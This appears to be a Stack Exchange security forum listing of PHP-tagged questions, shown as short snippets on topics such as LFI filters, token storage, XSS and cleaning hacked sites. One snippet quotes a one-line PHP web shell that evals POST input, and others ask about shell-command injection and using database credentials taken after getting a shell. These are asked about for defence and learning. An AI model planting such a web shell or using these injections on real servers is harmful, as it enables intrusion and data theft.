Last call to make your voice heard! Our 2022 Developer Survey closes in less than a week. Take survey.

Questions tagged [php]

Security aspects concerning code written in the programming language PHP which is often used for web applications.

Filter by
Sorted by
Tagged with
0 votes
0 answers
14 views

| LFI filtration | is this really a way how to filter? (php 8.1)

I'm not sure if this is a valid way how to filter LFI, because if you bypass in_array function you can include any file, for example /etc/passwd. Is it possible to bypass in_array function? <?php $...
user avatar
0 votes
0 answers
17 views

How to Use Database Connections Credentials? [closed]

I am doing a pentest, and I got a shell on the server. I got the DataBase connections from phpconfig. dbname, dbhostname, user, password. How can I access such a database and retrieve its data?
user avatar
3 votes
0 answers
34 views

Best practice for storing security tokens in source code [duplicate]

I have a PHP system and I need to store some tokens for operations like: Database username and password API token Keys for encryption It turns out that for a long time only I manage the source code, ...
user avatar
  • 153
0 votes
1 answer
60 views

PHP 7.4.3 preg_match bypass

I want to filter user input like this: $data = file_get_contents('php://input'); if ($data != null && $data !=='') { $parsedData = json_decode($data, true); } // find quickmodule name $...
user avatar
1 vote
1 answer
46 views

Do we know a MD5 collision exploiting PHP loose type comparision (0123e2 == 123e02 == 012300)?

Since PHP has loose type comparison, we have: php -r 'var_dump("1234e03"=="1234000");' bool(true) And since MD5 hashs are often reprensented as hexa string like ...
user avatar
  • 1,341
0 votes
0 answers
40 views

Headers X-XSS-Protection issue

I want to clear my doubt that Is there any issues coming from adding 'Strict-Transport-Security' and 'X-XSS-Protection' headers ? Header set Strict-Transport-Security "max-age=10886400; Header ...
user avatar
0 votes
1 answer
44 views

unknown (malicious?) code and file in public dir (Laravel 5.8, apache/cPanel) [duplicate]

I have a Laravel 5.8 app in a server running Apache/2.4.53 (cPanel) and PHP 7.4 (ea-php74) and i have VPS root WHM/cPanel access there. as any Laravel project, the "public" directory is web ...
user avatar
1 vote
0 answers
25 views

Is PHP json_encode sufficient for HTML data blocks?

I want to access data in a PHP variable from JavaScript code. An (old) OWASP cheat sheet recommends embedding it in HTML before accessing it, an approach like this: <div id="init_data" ...
user avatar
2 votes
1 answer
34 views

use md5 hashed guid as app login and REST interface

We are planning to use a md5 hash of a user guid to confirm access to a GET, POST, PUSH, DELETE rest - api. All communication is over a secured https channel. The REST api is programmed to resist XSS ...
user avatar
  • 127
-1 votes
1 answer
30 views

2 Way SSL for Magento API

Checked many blogs for 2 way ssl(Mutual Authentication) for magento api's or PHP but did not get end to end implementation details. Below is my understanding. Lets consider client (sslclient.com) and ...
user avatar
1 vote
1 answer
49 views

Ruby on Rails: Request to http://\localhost/admin/config.php

I got an exception notification for a request from 92.118.39.180:61001 to: http://\localhost/admin/config.php This is the notification: ------------------------------- Request: ------------------------...
user avatar
  • 113
0 votes
1 answer
44 views

Prevent reading PHP files

For better security(or for better hacker-life-difficulty) i do not trust even on my php files and my question is : <?php //how to deny any reading of .PHP files from standard PHP functions like ...
user avatar
0 votes
0 answers
56 views

How to perform php post request attack with javascript sanitization?

The following code demonstrates the source code of this challenge and basically, I need to send a post request with arbitrary code to execute on the server. However, after multiple attempts Im unable ...
user avatar
2 votes
1 answer
138 views

How to track which php file executed a malware binary

I have a server that seems to be compromised checking the processes running I see an executable that seems to be a mining malware and the hacker uses it to mine litecoin at the address ...
user avatar
0 votes
0 answers
59 views

What's the best way to handle authentication across multiple different domains under the same service?

For a social networking site example.com, users all have their own domains. How can you keep someone seamlessly authenticated across all domains? For the main site, example.com, I am currently using: &...
user avatar
  • 1
0 votes
0 answers
34 views

How does "./" affects signature generation for files, in a PHP based web application?

I am solving a lab related to serialization vulnerabilities. It deals with retrieving files based on the signature. The theory of the lab states as quoted, "Adding ./ will still give you the same ...
user avatar
0 votes
1 answer
56 views

Can POST request be changed in a HTTPS website?

I am trying to develop a website where I grab data using javascript and send it to PHP using ajax post. However, while researching, I found that the POST request can be modified using third-parties ...
user avatar
0 votes
0 answers
104 views

How to prevent a timing attack when I do/don't perform password_verify (depending if the user exists)?

Here is the code which potentially can allow a timing attack $user = getUserFromDatabase($input_username); if ($user === false) { // potential timing attack // user not exist ...
user avatar
  • 11
0 votes
1 answer
102 views

Is it necessary to use cryptographically-secure randomness in order to create URLs for user activation?

Usually once you register in a website you need to visit a url like: https://example.com/user_activate/^random_string^ Does the ^random_string^ necessarily need to be cryptographically pseudorandom ...
user avatar
0 votes
1 answer
126 views

Why not use a long life session ID for auto-login instead of a persistent cookie with a token?

On the PHP website it is stated that "Developers must not use long life session IDs for auto-login because it increases the risk of stolen sessions.". Instead it is recommended to use a ...
user avatar
  • 1
0 votes
1 answer
170 views

Securely transfer a file to a server via PHP

I'm trying to extract a specific dataset via a daily cronjob written in PHP (by extracting the data from a MariaDB DB), and transfer it onto another server D which is externally available to a client. ...
user avatar
  • 115
0 votes
1 answer
98 views

Would it be useful from a security perspective to harden an interpreter like Python or NodeJS by removing support for unused features?

When hardening a system you want to remove any features that you do not need. I have been thinking about this concept from the perspective of interpreters like Python, NodeJS, PHP etc. and am ...
user avatar
  • 3
0 votes
1 answer
68 views

Getting Smaller Output From Public Key Cryptography In PHP

I have a website in a shared hosting environment, and I'm also planning to back up in multiple locations. All of that introduces vulnerability where the data could get intercepted, stolen, or misused ...
user avatar
  • 743
0 votes
1 answer
225 views

What's The Best PHP Encryption For Email Addresses?

I'm storing a list of email addresses and other not personally identifiable information for a mailing list in a database. Since it's for a project related to cryptocurrency, I believe that the ...
user avatar
  • 743
0 votes
1 answer
216 views

How to secure Laravel website against the ongoing massive exploitation

My website built upon Laravel is currently under attack. Only the index.php file was changed, and by that I mean that every line of code is inserted above the original Laravel code. So this code ...
user avatar
1 vote
1 answer
103 views

Need guidance on detecting how a hacked file got upload on my website [duplicate]

On my website I found a file containing this code <?php if(isset($_POST[z]))eval($_POST[z]);?> It's my understanding that the hacker is using this to execute any PHP command send via a POST ...
user avatar
  • 111
1 vote
0 answers
101 views

How common is Apache webserver Filesmatch configuration ".+\.ph(p([3457s]|\-s)?|t|tml)"

The OWASP website has a page about Insecure File Uploads which talks about an insecure Apache filesmatch directive: <FilesMatch ".+\.ph(p([3457s]|\-s)?|t|tml)"> SetHandler ...
user avatar
  • 570
0 votes
1 answer
148 views

Is the authentication system of this website secure enough?

Since I write an API for a website, I'm interested in his login system and his requests but something bothered me, I have the impression that the security system is weak... When I login, I send POST ...
user avatar
2 votes
1 answer
238 views

XSS inside of a javascript string, with unusual filter

While making a website I made an interesting mistake, and I'm wondering if this could be used to achieve XSS. I've come very close, but not quite. I can put my user input into a string inside of a <...
user avatar
  • 123
0 votes
2 answers
163 views

Should including an external webpage in PHP be dangerous in principle?

<?php include("https://example.com"); ?> I came across the opinion that including webpages in such pattern can be dangerous; further more, in XAMPP for windows php.ini there is ...
user avatar
  • 3
0 votes
1 answer
164 views

Sending Post Requests Server to Server

I am creating a web application that is sending sensitive data between servers. I need to take user inputted web form data from website 1 (abc.com) and post the data to website 2 (xyz.com/api). ...
user avatar
2 votes
0 answers
66 views

What does this potentially malicious php code do? [duplicate]

Somebody hacked my webserver and uploaded many of the following files with random names in different subdirectories of my webroot. The file looks something like this and - even though I managed to ...
user avatar
0 votes
0 answers
81 views

Does adding a csv file to a wordpress plugin introduce security risks to the site?

I am currently working on an implementation reading data from a csv file from within a WordPress plugin. It was suggested the file be added within the plugin in an assets directory. I have concerns in ...
user avatar
-1 votes
1 answer
96 views

Source of strange sessions

I stumbled upon some strange entries in our PHP sessions, they look like this: PHPREDIS_SESSION:${9923XXXXX+99XXXXXX} (<- I have changed some digits to 'X') PHPREDIS_SESSION:http://hitbXXXXXXXXXXX....
user avatar
  • 99
1 vote
1 answer
224 views

Am I handling JWT token correctly?

The app is divided into two parts, the fronted - written with the Angular framework and the backend, simple PHP files which handle the login, API calls, etc. My current flow is the following: User ...
user avatar
0 votes
1 answer
117 views

MongoDB NoSQLi in Cockpit CMS - use of $func?

Please explain how this recent Cockpit CMS exploit works, specifically using the $func operator of the MongoLite library, in more detail. How does it exactly make the PHP code behave? As I understand ...
user avatar
1 vote
1 answer
197 views

Is MariaDB Server obsolete for PHP and Wordpress projects?

PHP (and by extension WordPress) only supports MySQL native & sha256 password authentication. MariaDB Server only supports MySQL native & ed25519 password authentication. Since MySQL native ...
user avatar
0 votes
0 answers
130 views

Unserialize URI with PHP and nginx to gain RCE

I stumbled upon this abomination in the code base of a project I'm working on and wondered if it constitutes a security issue. $requestUri = explode('?', $_SERVER['REQUEST_URI']); $requestUri = ...
user avatar
0 votes
1 answer
234 views

Attempting remote code execution, why does this php webshell code fail with single quotes?

In working on a vulnerable box, I found a field in a database table where one can insert php code. Based on this exploit: https://www.exploit-db.com/exploits/24044 I tried to use this code to make a ...
user avatar
2 votes
2 answers
212 views

About vulnerability in the dependency

I have read many articles about the vulnerability in the program dependency, either direct or transitive. Here are two questions come out of my mind. If a dependency A has a vulnerability (Maybe has ...
user avatar
  • 133
1 vote
1 answer
271 views

Allow access to folder only from specific IP Address (or domain) and Port using .htaccess

I am trying to secure access to a PHP page in a folder and only allow access to it from a specific IP Address and domain name but only on a specific port. I have seen a number of questions here but ...
user avatar
  • 111
16 votes
5 answers
5k views

How can an attacker identify if a website is using PHP? How about the PHP version?

I have a vulnerable test site up that runs PHP. How can an attacker identify that PHP is used? if I type .../add.php the site gives back an error message, although the file is add.php. If I type .../...
user avatar
1 vote
0 answers
130 views

SQL Injection Prevention WAF Generic Rule for Wordpress

We are trying to develop a GENERIC WAF Rule for SQLI Prevention for WordPress-based websites that can provide some level of effectiveness with a very low probability of having false positives. From my ...
user avatar
  • 11
0 votes
0 answers
174 views

Can I inject shell in the below php code?

How I can inject a shell command in the below code? <?php if (isset($_POST['search'])) { $res = trim(shell_exec("findstr /l /m /s \"" . $_POST['search'] . "\" ...
user avatar
1 vote
2 answers
292 views

Encrypt login and password in cookie to keep user logged in

What is the best alternative to encrypting data to use it in a cookie so that i can decrypt it later to validate the user data? Currently saved: Login - Password and IP in an array and then encrypt it ...
user avatar
  • 11
1 vote
2 answers
142 views

Is it insecure for the user to know the process id of a background script on my web server?

I was experiencing an issue on one of my webpages, where an AJAX call is made to another script on the server to generate some files for download. Depending on things like server load, number of files ...
user avatar
  • 113
0 votes
1 answer
93 views

Block many wrong requests via PHP

I have an API that requires a security token to run. Is it possible to use Fail2Ban or ModEvasive to block access from IPs that often try to access the API with an incorrect token? I use PHP to ...
user avatar
  • 153
0 votes
1 answer
228 views

PHP code in image file

My drupal website was getting hacked recently. While cleaning up the malicious scripts, I found that the hacker uploaded an image file (sites/default/files/test.jpg) contains below code. ...
user avatar
  • 187
0 votes
0 answers
82 views

Should I change the default folder for uploads?

PHP 7 uses the default system folder (/tmp) to store uploaded files. PHP allows you to change the settings and change the upload destination directory. Some sites indicate to change this folder to ...
user avatar
  • 153
0 votes
0 answers
83 views

Injection inside double quoted section of script element

For a test to find vulnerabilities I found the following code in a page and I am looking for ways to manipulate it: <script> func({ "key1": "value", "...
user avatar
  • 1

1
2 3 4 5
32